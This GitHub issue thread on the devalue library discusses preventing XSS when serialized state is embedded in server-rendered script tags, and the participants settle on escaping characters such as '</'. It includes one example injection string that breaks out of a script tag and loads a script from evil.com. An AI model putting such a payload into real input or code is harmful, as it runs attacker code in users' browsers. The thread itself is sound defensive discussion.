Rich-Harris/devalue

XSS

Rich-Harris opened this issue · 3 comments

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
  userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  var preloaded = ${JSON.stringify(state)};
</script>
`;

That would result in this...

<script>
  var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>

...which would obviously load a script from evil.com.

The same is true of devalue. We should be able to prevent those attacks by replacing any instance of </ with <\u002f, though I'd love for someone else to tell me if I'm right about that.

rbadr commented

Hi Rich,

You can prevent these attacks by escaping HTML characters. You can use or check the implementation of serialze-javascript developed by Yahoo, it provides these safety practices.

</script> will be transformed to \u003C\u002Fscript\u003E for example.

Excellent, thank you! I'll borrow that code.

rbadr commented

You're welcome.